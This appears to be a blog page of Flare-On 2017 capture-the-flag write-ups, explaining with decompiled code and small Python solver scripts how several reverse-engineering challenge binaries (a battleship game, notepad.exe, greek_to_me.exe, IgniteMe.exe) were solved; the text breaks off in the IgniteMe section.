The first objective is to find what is meant by NotMd5Hash so we can progress further into the game. The function that deals with this is <b>sub_403530()</b>; the stack string <b>NotMd5Hash("%s")</b> at the beginning gives it away. Let's look at the first part of this function:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpQTciIm9c5zkLgZ2bHx4ZrcmU2ah6ckUS4aebIAdGR90wfojMOY7vAcCxUa4JxO5YaGkGYJqcK1Lo3sWJlfArIxKxj3ZdKvZ8CuHt4E4rdIE3vi1eZEAIsh5EvHQrDruWcvzt3id7jEdZ/s1600/flareon4_5_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpQTciIm9c5zkLgZ2bHx4ZrcmU2ah6ckUS4aebIAdGR90wfojMOY7vAcCxUa4JxO5YaGkGYJqcK1Lo3sWJlfArIxKxj3ZdKvZ8CuHt4E4rdIE3vi1eZEAIsh5EvHQrDruWcvzt3id7jEdZ/s640/flareon4_5_5.png" width="640" height="517" data-original-width="680" data-original-height="549" /></a></div>
</br>
The green basic block is looped over 4 times and randomly generates the 4 characters for the NotMd5Hash string. It then goes to the yellow basic block which computes the MD5 hash of the 4-char string (whattt!???), prints out the NotMd5Hash string and waits for our input. But we've already tried the MD5 and it didn't work! Let's check what comes next:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqjB7u3buXB_tBgFZCMc-ogkKPGeP5A8Te4UPepH_5zEHeMFFx_kFM6NtkHsUgUDVW-ZV3ehMZgi8hiP1pLoCTJ9VDO39d5ojPuKNg6kHQwlZdq5PpPi7Vchyphenhyphen4Sh-3tVaj-SGH3mXjWSm_/s1600/flareon4_5_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqjB7u3buXB_tBgFZCMc-ogkKPGeP5A8Te4UPepH_5zEHeMFFx_kFM6NtkHsUgUDVW-ZV3ehMZgi8hiP1pLoCTJ9VDO39d5ojPuKNg6kHQwlZdq5PpPi7Vchyphenhyphen4Sh-3tVaj-SGH3mXjWSm_/s640/flareon4_5_6.png" width="640" height="469" data-original-width="693" data-original-height="508" /></a></div>
</br>
The blue basic block loops over each byte of the 16-byte Md5 output, NOT's the value and stores the hex representation of it. The result is then compared to our input in the purple basic block. So this is what is meant by NotMd5Hash! The values of the output are NOT'd. The following is a python script to compute this:
</br></br>
<pre class="brush:python;">
import md5
m = md5.new("GHND").digest()
print ''.join(["%02X" % (256 + ~ord(x)) for x in m])
</pre>
</br>
At this point we can continue playing the game and try to beat each level by guessing the coords. Of course we're not doing that as it is very time consuming and painful. So, the next step is to find a way to reveal where the ships are for each level. A good way to checking this is to trace what happens to our input coord and how a HIT or MISS is determined based on this input.
</br></br>
Our input is read in <b>sub_40377D()</b>:
</br></br>
<pre class="brush:cpp;">
unsigned __int64 __fastcall sub_40377D(__int64 a1)
{
[ .. snip .. ]
printf(format, &v6);
if ( fgets(&s, 17, stdin) )
{
row = (char)(s & 0xDF) - 0x41;
col = v5 - 0x31;
if ( row < 0 || row > 7 || col < 0 || col > 7 )
{
sub_403411(&s, 17LL);
}
else
{
*(_QWORD *)(a1 + 8) |= 1LL << (8 * (unsigned __int8)row + col);
*(_BYTE *)(a1 + 28) = s & 0xDF;
*(_BYTE *)(a1 + 29) = v5;
}
}
return __readfsqword(0x28u) ^ v28;
}
</pre>
</br>
The function reads our input at line 7 and maps the row and column to a number between 0 and 7 on lines 9 and 10. For example, <b>'B6'</b> translates to row = 1 & col = 5 whilst <b>'E2'</b> translates to row = 4 & col = 1. Both values are then validated on line 11 to ensure they're on the board. Finally, at line 17, the values are combined into a single value that represents the input coordinate. This is the important part as it will be used to determine a HIT or a MISS. The following is a python 1-liner, which we'll use later on, to compute this value:
</br></br>
<pre class="brush:python;">
singlify = 1 << (row * 8 + col)
</pre>
</br>
We now move onto the part where a HIT or MISS is determined. This happens in <b>sub_4038D6()</b> which also decides what message is displayed to the user based on their coord input:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS5WRz-tlWZWLPE2Glf8FQI3AkkClvToFHnfCTQsE-FUgcqROgOq-Vks-cO74SIAQzxo4QhorYsVdqs_Z5cfiRgytKEenRJRtZ229Exy2WZsi5fTIgixyQrtrrXNnDryfNzcx7sXVzcBxZ/s1600/flareon4_5_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS5WRz-tlWZWLPE2Glf8FQI3AkkClvToFHnfCTQsE-FUgcqROgOq-Vks-cO74SIAQzxo4QhorYsVdqs_Z5cfiRgytKEenRJRtZ229Exy2WZsi5fTIgixyQrtrrXNnDryfNzcx7sXVzcBxZ/s700/flareon4_5_7.png" data-original-width="1032" data-original-height="741" /></a></div>
</br>
The decision happens in the yellow basic block. On the 4th line of this block, <b>RAX</b> holds a level configuration number which determines the location of all the ships. This value is AND'd with our coord number. If the number remains the same, then it goes to the green basic block which signifies a HIT, if not it goes to the red basic block which displays the message <b>'You missed :('</b>. If we put a breakpoint and collect the configuration number for the first level we get: 0x0008087808087800.
</br></br>
We now combine everything we know. The following is a python script which, given a configuration number, determines all the hits and also displays them on a grid:
</br></br>
<pre class="brush:python;">
def draw_ships(input):
hits = []
for row in range(8):
for col in range(8):
singlify = 1 << (row * 8 + col)
if singlify & input == singlify:
hits.append(chr(row + 0x41) + chr(col + 0x31))
print "X",
else:
print "_",
print
print
return hits
ship_config = 0x0008087808087800
print draw_ships(ship_config)
</pre>
</br>
Running the script gives us:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python solution.py
_ _ _ _ _ _ _ _
_ _ _ X X X X _
_ _ _ X _ _ _ _
_ _ _ X _ _ _ _
_ _ _ X X X X _
_ _ _ X _ _ _ _
_ _ _ X _ _ _ _
_ _ _ _ _ _ _ _
['B4', 'B5', 'B6', 'B7', 'C4', 'D4', 'E4', 'E5', 'E6', 'E7', 'F4', 'G4']
C:\>
</div>
</br></br>
Notice that this coincides perfectly with what we've gotten when we played the game manually (check 2nd image from above). With these 2 scripts we're now guaranteed to hit all the ships before running out of ammo and also solve the NotMd5hash challenge each time. Make sure to put a break point to collect the configuration number at each level and get a list of HIT coords from the script.
</br></br>
Going through the 10 levels, we collect the string <b>'FHGUZREJVO'</b> from the solutions, and the game displays the following message:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSi10msA3Uij-F56Lw6nHh13jK3549PX239K5euhyphenhyphenepb8HvjQnh4pBMT2wwr9SBtAD2qQ1mvHCjvs2EaSFfcsvbJLHl8Bi8rWSMwbRkf9aePYPaJZDsfHM7m2YPaVUI6Ty8SP0t9xwxRCW/s1600/flareon4_5_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSi10msA3Uij-F56Lw6nHh13jK3549PX239K5euhyphenhyphenepb8HvjQnh4pBMT2wwr9SBtAD2qQ1mvHCjvs2EaSFfcsvbJLHl8Bi8rWSMwbRkf9aePYPaJZDsfHM7m2YPaVUI6Ty8SP0t9xwxRCW/s640/flareon4_5_8.png" width="640" height="345" data-original-width="754" data-original-height="407" /></a></div>
</br>
Removing the PEWs we get:
</br></br>
<b>Aye! You found some letters did ya? To find what you're looking for, you'll want to re-order them: 9, 1, 2, 7, 3, 5, 6, 5, 8, 0, 2, 3, 5, 6, 1, 4. Next you let 13 ROT in the sea! THE FINAL SECRET CAN BE FOUND WITH ONLY THE UPPER CASE.</b>
</br></br>
This is referring to the string <b>'FHGUZREJVO'</b>. After we do what we're told we end up with <b>'BUTWHEREISTHERUM'</b>. Feeding this to the game instead of a coordinate:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi88pTZ_Anzj_qmRYDi7yBMWd6bsVMy9nH-98bprwIYhh-rd15o5DMsvNS03sYJSj-7OEZ96g3PFBFUqxuHXHdq81jfTzHT3Mbs_sZCGsV283nzqEXw6KBRWb9iBnoWgK57MgeolC9xbPP6/s1600/flareon4_5_9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi88pTZ_Anzj_qmRYDi7yBMWd6bsVMy9nH-98bprwIYhh-rd15o5DMsvNS03sYJSj-7OEZ96g3PFBFUqxuHXHdq81jfTzHT3Mbs_sZCGsV283nzqEXw6KBRWb9iBnoWgK57MgeolC9xbPP6/s640/flareon4_5_9.png" width="640" height="325" data-original-width="754" data-original-height="383" /></a></div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-6391581401708170522017-10-21T07:34:00.003-07:002017-10-23T16:57:54.318-07:00CTF Writeup - Flare-On 2017 - 04: notepad.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ol>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> notepad.exe</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/notepad.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ol>
</br>
Running the binary <b>notepad.exe</b> we get:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvkG9A7nWFIOHPR7dPVERkfzhUMokR-k6DyQNGbC0YMFNaWpdgQuMk3XMPrlazYQmgu8z7TPEGGbh7VegOH2TD-kNi993xNv8xN-tZ6XJMgg4zfnZCQtZJv36I19Kp9S64x0DJikezGIw9/s1600/flare4_4_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvkG9A7nWFIOHPR7dPVERkfzhUMokR-k6DyQNGbC0YMFNaWpdgQuMk3XMPrlazYQmgu8z7TPEGGbh7VegOH2TD-kNi993xNv8xN-tZ6XJMgg4zfnZCQtZJv36I19Kp9S64x0DJikezGIw9/s550/flare4_4_1.png" data-original-width="552" data-original-height="310" /></a></div>
</br>
Expected anything else from a binary called <b>notepad.exe</b>? When the binary is loaded into IDA, we even get the prompt to apply MS symbols to it! Interesting, so what's different from the normal notepad.exe? For starters, the Entry Point points at an executable .rsrc section at the bottom of the PE which also contains other functions. Additionally, the binary loads several strings onto the stack in the <b>start()</b> function, usually an indication that it is trying to hide some functionality:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOvtQFrSfAeZxWaBMIwIlHqa7YmeUyxC8qD7RsIQeP1_TDrG9IR7qhvY1w89qVq7BgQ3ETg8c8MkdR8j_ni-4P0Zcgf5K-rsNb9llS2qcF6uxlY_XzzqWs_xWyeYqZRvAk9ugYKjD4IFg0/s1600/flare4_4_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOvtQFrSfAeZxWaBMIwIlHqa7YmeUyxC8qD7RsIQeP1_TDrG9IR7qhvY1w89qVq7BgQ3ETg8c8MkdR8j_ni-4P0Zcgf5K-rsNb9llS2qcF6uxlY_XzzqWs_xWyeYqZRvAk9ugYKjD4IFg0/s550/flare4_4_2.png" data-original-width="256" data-original-height="391" /></a></div>
</br>
The <b>start()</b> function looks a bit daunting so I've decided to take a different approach with this challenge and use ProcMon to deduce (guess?) it's inner workings. Filtering on <b>notepad.exe</b> and <b>File System Activity</b> we get the following:
<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg29KSMtImhT366jR-y_lhOpFFrydJuTJGb7J5G6xwMDXvVNKOyxGndXQCT2p7wMOioX0LzSK3ur8zbbfqcnv0SVcsiGqE6mHkgSLOrjjHWKFjuKJwPF8cuF1gLxevAtZB_tLFSbMNrKOhyphenhyphen/s1600/flare4_4_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg29KSMtImhT366jR-y_lhOpFFrydJuTJGb7J5G6xwMDXvVNKOyxGndXQCT2p7wMOioX0LzSK3ur8zbbfqcnv0SVcsiGqE6mHkgSLOrjjHWKFjuKJwPF8cuF1gLxevAtZB_tLFSbMNrKOhyphenhyphen/s640/flare4_4_3.png" width="640" height="333" data-original-width="714" data-original-height="372" /></a></div>
<br>
The executable searches for path <b>C:\Users\<user>\flareon2016challenge</b> which is not present on the machine. Create the folder and put a dummy file in, say an empty text file called <b>testing.txt</b>. The function that searches for this file path is <b>sub_1013F30()</b> which does the following:
<ol>
<li style="color:#999999;">Constructs the string 'C:\Users\<user>\flareon2016challenge'</li>
<li style="color:#999999;">Calls FindFirstFileA on the path</li>
<li style="color:#999999;">For each file found in the folder, invokes <b>sub_1014E20()</b> on it's file path</li>
</ol>
The first bit of function <b>sub_1014E20()</b> does some validation on the input file:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLOMLgQwbpk1Vk-yf2tidkVGpQW4OQF_LNlvIOjdF0OLG3GXYgzgCPhnEqHfCGvYKOUvDnFkxFrbtSITDtJj1owcqmh-OHAmtYoQp5UlOBc6NqptuUNg14HH5LFLKn1CCf4xExLNE4jHFZ/s1600/flare4_4_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLOMLgQwbpk1Vk-yf2tidkVGpQW4OQF_LNlvIOjdF0OLG3GXYgzgCPhnEqHfCGvYKOUvDnFkxFrbtSITDtJj1owcqmh-OHAmtYoQp5UlOBc6NqptuUNg14HH5LFLKn1CCf4xExLNE4jHFZ/s600/flare4_4_4.png" data-original-width="917" data-original-height="901" /></a></div>
</br>
It performs the following:
<ol>
<li style="color:#999999;">Checks that the file starts with <b>'MZ'</b> (Green)</li>
<li style="color:#999999;">Ensures that <b>'PE'</b> offset is less than the size of the binary (Red)</li>
<li style="color:#999999;">Checks that the file has <b>'PE'</b> in the right place (Yellow)</li>
<li style="color:#999999;">Ensures that the Target Machine is for Intel 386 and later (Blue)</li>
<li style="color:#999999;">Passes the binary mapping to <b>sub_10146C0()</b></li>
</ol>
The function <b>sub_10146C0()</b> then takes the timestamp of the input file and the timestamp of <b>notepad.exe</b> and branches the execution flow depending on these 2 values:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDIDAis2TqjnTCmQqjcMIrIC9p3-dGAYtRKt_IySze5SqIzl5pB6GuYYiliwGZURQluoN6xnYI1Dm1dgE8umL18ktjxc2W2NCdxLfQAxaYsxlSQkovAGsPim0FKkSvIlia31cTJW3kftc/s1600/flare4_4_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDIDAis2TqjnTCmQqjcMIrIC9p3-dGAYtRKt_IySze5SqIzl5pB6GuYYiliwGZURQluoN6xnYI1Dm1dgE8umL18ktjxc2W2NCdxLfQAxaYsxlSQkovAGsPim0FKkSvIlia31cTJW3kftc/s640/flare4_4_5.png" width="515" height="640" data-original-width="797" data-original-height="991" /></a></div>
</br>
The blue basic blocks deal with <b>notepad.exe</b> whilst the yellow ones deal with the input file. Depending on these 2 variables, the execution flow will take 1 of the 5 relevant paths shown below:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkqbyQdJwDHodER8i-Bs-w-iq2kEPSvWkKajZTBNFY4l1Q7_8d_FQYbpmW-DtstsNHibL285xOZOrNU49B8aiMPZuBWkjGYIv8viDWOBjYNHodVRyebq7_QU-IV4zu4kkJdmZQj7wMBr3Y/s1600/flare4_4_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkqbyQdJwDHodER8i-Bs-w-iq2kEPSvWkKajZTBNFY4l1Q7_8d_FQYbpmW-DtstsNHibL285xOZOrNU49B8aiMPZuBWkjGYIv8viDWOBjYNHodVRyebq7_QU-IV4zu4kkJdmZQj7wMBr3Y/s750/flare4_4_6.png" data-original-width="1156" data-original-height="423" /></a></div>
</br>
Notice that 4 of them are very similar to each other. Let's go through one of them taking the 1st one (left most) as an example. The basic block does the following:
<ol>
<li style="color:#999999;"><b>Sub_1014350</b> converts 0x57D1B2A2 into the Date and Time: 2016/09/08 18:49:06 UTC</li>
<li style="color:#999999;"><b>Call ECX</b> pops a message box with the resultant Date and Time</li>
<li style="color:#999999;"><b>Sub_10145B0</b> takes first 8 bytes from binary at offset 0x400 and writes them to key.bin</li>
</ol>
The other basic block (2nd from the right) reads the contents of key.bin, checks if it is 32 bytes long and XOR's it with another 32 bytes. The big question at this point is, what should key.bin contain? And hence what should the 4 PE files in <b>'C:\Users\<user>\flareon2016challenge'</b> be?
</br></br>
The hint is in the folder name <b>'flareon2016challenge'</b>. Download last year's Flare-On challenges and notice that <b>challenge1.exe</b> has a Date Modified of <b>08/09/2016 19:49</b> which matches with the timestamp we've analysed. Copying the <b>challenge1.exe</b> binary in the <b>flareon2016challenge</b> folder and running <b>notepad.exe</b> again we get the following Message Box and the first 8 bytes of the key in <b>key.bin</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKc2wChcI2pD5oSOF4nQkxjVvnywn41RmD5j4M_ouWX2l0h9VsizEpNEC1RpQE4CpxjE9eX2cVFzPbEME5GjZ7wXHhyo5OR9eLplwkbxLI-LeSCfqF9fHFFjIhytGnlTRcuSGilGOeiBCP/s1600/flare4_4_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKc2wChcI2pD5oSOF4nQkxjVvnywn41RmD5j4M_ouWX2l0h9VsizEpNEC1RpQE4CpxjE9eX2cVFzPbEME5GjZ7wXHhyo5OR9eLplwkbxLI-LeSCfqF9fHFFjIhytGnlTRcuSGilGOeiBCP/s250/flare4_4_7.png" data-original-width="174" data-original-height="126" /></a></div>
</br>
Cutting to the chase, the following are the 4 binaries from last year's challenge that match the 4 timestamps required by <b>notepad.exe</b>:
<ol>
<li style="color:#999999;">challenge1.exe</li>
<li style="color:#999999;">DudeLocker.exe</li>
<li style="color:#999999;">khaki.exe</li>
<li style="color:#999999;">unknown</li>
</ol>
We can now complete the challenge by placing these 4 binaries in the <b>flareon2016challenge</b> folder and run <b>notepad.exe</b>. Note that this requires us to change the timestamp of <b>notepad.exe</b> or to change the control flow during execution to ensure that all the branches are taken in the right order.
</br></br>
Alternatively we can extract the 8 bytes key from each binary at offsets 0x400, 0x410, 0x420 and 0x430 respectively (refer to image above). This will give us the key and we can create a small python script to print the solution:
</br></br>
<pre class="brush:python;">
key1 = '\x55\x8b\xec\x8b\x4d\x0c\x56\x57\x8B\x55\x08\x52\xFF\x15\x30\x20\xC0\x40\x50\xFF\xD6\x83\xC4\x08\x00\x83\xC4\x08\x5D\xC3\xCC\xCC'
key2 = '\x37\xE7\xd8\xbe\x7a\x53\x30\x25\xbb\x38\x57\x26\x97\x26\x6f\x50\xf4\x75\x67\xbf\xb0\xef\xa5\x7a\x65\xae\xab\x66\x73\xa0\xa3\xa1'
print ''.join([chr(ord(a) ^ ord(b)) for a,b in zip(key2,key1)])
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python solution.py
bl457_fr0m_th3_p457@flare-on.com
C:\>
</div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-4770225053288867092017-10-20T10:16:00.000-07:002017-10-23T16:57:54.313-07:00CTF Writeup - Flare-On 2017 - 03: greek_to_me.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</span><br />
<ul><span style="color: #999999;">
<li><b style="color: #cccccc;">Name -</b> <span style="color: #999999;"> greek_to_me.exe</span>
</li>
<li><b style="color: #cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
</li>
<li><b style="color: #cccccc;">Points -</b><span style="color: #999999;"> 1</span>
</li>
<li><b style="color: #cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/greek_to_me.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</li>
</span></ul>
<span style="color: #999999;">
</br></br>
Launching the binary <b>greek_to_me.exe</b>, we don't get any output nor the option to supply any input. It gets stuck waiting for us to do something or maybe it's doing something computationally intensive. Let's look at the first part of the main function <b>sub_401008()</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPwrobcXzBQvOogdyrmS9JziKdIrCkj8rTvEBVKiBPTi5JfQWzaO1L2xHhw5t1LoJEDObQxLzIr3pZ4KPlksoJA1OcDOKve5g3ORQB2VMQUCuBrne2jYk8o4HubCUacRCyASJ4JRKieU8L/s1600/flareon4_3_main_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="764" data-original-width="632" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPwrobcXzBQvOogdyrmS9JziKdIrCkj8rTvEBVKiBPTi5JfQWzaO1L2xHhw5t1LoJEDObQxLzIr3pZ4KPlksoJA1OcDOKve5g3ORQB2VMQUCuBrne2jYk8o4HubCUacRCyASJ4JRKieU8L/s700/flareon4_3_main_1.png" /></a></div>
</br></br>
The function first calls <b>sub_401121()</b>, in the blue basic block above, which contains the following code:
</br></br>
<pre class="brush:cpp;">SOCKET __cdecl sub_401121(char *buf)
{
SOCKET v2; // esi
SOCKET v3; // eax
SOCKET v4; // edi
struct WSAData WSAData; // [esp+0h] [ebp-1A0h]
struct sockaddr name; // [esp+190h] [ebp-10h]
if ( WSAStartup(0x202u, &WSAData) )
return 0;
v2 = socket(2, 1, 6);
if ( v2 != -1 )
{
name.sa_family = 2;
*(_DWORD *)&name.sa_data[2] = inet_addr("127.0.0.1");
*(_WORD *)name.sa_data = htons(0x2222u);
if ( bind(v2, &name, 16) != -1 && listen(v2, 0x7FFFFFFF) != -1 )
{
v3 = accept(v2, 0, 0);
v4 = v3;
if ( v3 != -1 )
{
if ( recv(v3, buf, 4, 0) > 0 )
return v4;
closesocket(v4);
}
}
closesocket(v2);
}
WSACleanup();
return 0;
}
</pre>
</br></br>
The function opens a local socket on port 2222 and accepts a buffer of 4 bytes. Going back to the image of <b>sub_401121()</b>, the green basic block shows that <b>ECX</b> is loaded with 0x40107C + 0x79, <b>EAX</b> is loaded with 0x40107C and <b>DL</b> takes the first byte of the buffer. The yellow basic block then loops from memory position <b>EAX</b> to memory position <b>ECX</b>, each time computing a simple decryption routine (XOR memory byte with first byte of input and add 0x22) and overwriting the previous values. As location 0x40107C points to code in the binary, the loop modifies the binary whilst running. This is how location 0x40107C looks before it has been modified:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmL4vTNhJ7P7RfH3w206B9NmQ0Xrdwbkme4BjRwpWrm8L0vn4FFnN6n9PCuIRKeg1vfbaH8RzAlH7qI1aMz-ceN-7xY3V8hDCRl8XVqiBWMTCUVyHo87e6dM5qBJ-VYHn7Ut3nhkZymHsx/s1600/flareon4_3_main_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmL4vTNhJ7P7RfH3w206B9NmQ0Xrdwbkme4BjRwpWrm8L0vn4FFnN6n9PCuIRKeg1vfbaH8RzAlH7qI1aMz-ceN-7xY3V8hDCRl8XVqiBWMTCUVyHo87e6dM5qBJ-VYHn7Ut3nhkZymHsx/s700/flareon4_3_main_3.png" data-original-width="1064" data-original-height="731" /></a></div>
</br>
The trick to this challenge is that the decryption algorithm is dependent on a single byte ONLY. As this search space is tiny we create a python script that runs the binary, connects to it, sends it a single character and writes the response:
</br></br>
<pre class="brush:python;">
import socket
import subprocess
for x in range(128,255):
subprocess.Popen(['greek_to_me.exe'], close_fds=True, creationflags=0x00000008)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 2222))
s.send(chr(x))
data = s.recv(1024).decode()
print x, data
s.close ()
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python brute_force.py
128 Nope, that's not it.
129 Nope, that's not it.
130 Nope, that's not it.
[... snip ...]
160 Nope, that's not it.
161 Nope, that's not it.
162 Congratulations! But wait, where's my flag?
163 Nope, that's not it.
164 Nope, that's not it.
[... snip ...]
C:\>
</div>
</br>
We now know that the right key is 0xA2, but were is the flag? If we send the right key straight away and go through the decryption algorithm, we notice that the bottom part of <b>sub_401121()</b>, specifically at location 0x40107C, has been modified:
</br></br>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8JXV4YwOvlNhqp2zq3fEPiIBXYsy9zhg3x1ee6zjYMavL5mBIdYEZdRZw-1H0w40WRX-zou83ky8GNHN5PdrQzTPfAObEJHy-TaskmNIYOdZhhpPNq0LgYShnfd7YBDlqAdyzzmhh5hEJ/s1600/flareon4_3_main_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="903" data-original-width="1099" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8JXV4YwOvlNhqp2zq3fEPiIBXYsy9zhg3x1ee6zjYMavL5mBIdYEZdRZw-1H0w40WRX-zou83ky8GNHN5PdrQzTPfAObEJHy-TaskmNIYOdZhhpPNq0LgYShnfd7YBDlqAdyzzmhh5hEJ/s700/flareon4_3_main_2.png" /></a></div>
</br>
Collecting the bytes above the congratulations message we get: <b>et_tu_brute_force@flare-on.com</b>
</span>
</div>
GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-47650885129181546152017-10-18T09:37:00.002-07:002017-10-23T16:57:54.309-07:00CTF Writeup - Flare-On 2017 - 02: IgniteMe.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> IgniteMe.exe</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/IgniteMe.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
Running the binary and giving it <b>'somerandomstuff'</b> as input:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>IgniteMe.exe
G1v3 m3 t3h fl4g: somerandomstuff
N0t t00 h0t R we? 7ry 4ga1nz plzzz!
C:\>
</div>
</br>
</br>
Looking at the <b>start()</b> function of the binary IgniteMe.exe:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO55Px0JaV84uPY98_GdGaf7bbVDH1Opf-351XO-4PCwGxdZaMPMdKAUtEfLbNMZbm23Rtfjnk5uO7fryNvyeTAKkEZZ1VEuvz1YMhOD-YLYli7ZWZSmIWw2t3wenSQd73vp9mivsyChjN/s1600/flareon4_2_overview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO55Px0JaV84uPY98_GdGaf7bbVDH1Opf-351XO-4PCwGxdZaMPMdKAUtEfLbNMZbm23Rtfjnk5uO7fryNvyeTAKkEZZ1VEuvz1YMhOD-YLYli7ZWZSmIWw2t3wenSQd73vp9mivsyChjN/s700/flareon4_2_overview.png" data-original-width="939" data-original-height="881" /></a></div>
</br>
The green basic box is the area we would like our execution to go to whilst the red displays the fail message <b>'N0t t00 h0t R we? 7ry 4ga1nz plzzz!'</b>.
</br></br>
Starting from the top of the graph, after the message is displayed, the program executes <b>sub_4010F0()</b> which reads our input and makes a copy of it (less chars 0xA and 0xD) in global variable <b>byte_403078</b>. The magic happens in subsequent function <b>sub_401050()</b>:
</br></br>
<pre class="brush:cpp;">
signed int sub_401050()
{
int v0; // ST04_4
int i; // [esp+4h] [ebp-8h]
unsigned int j; // [esp+4h] [ebp-8h]
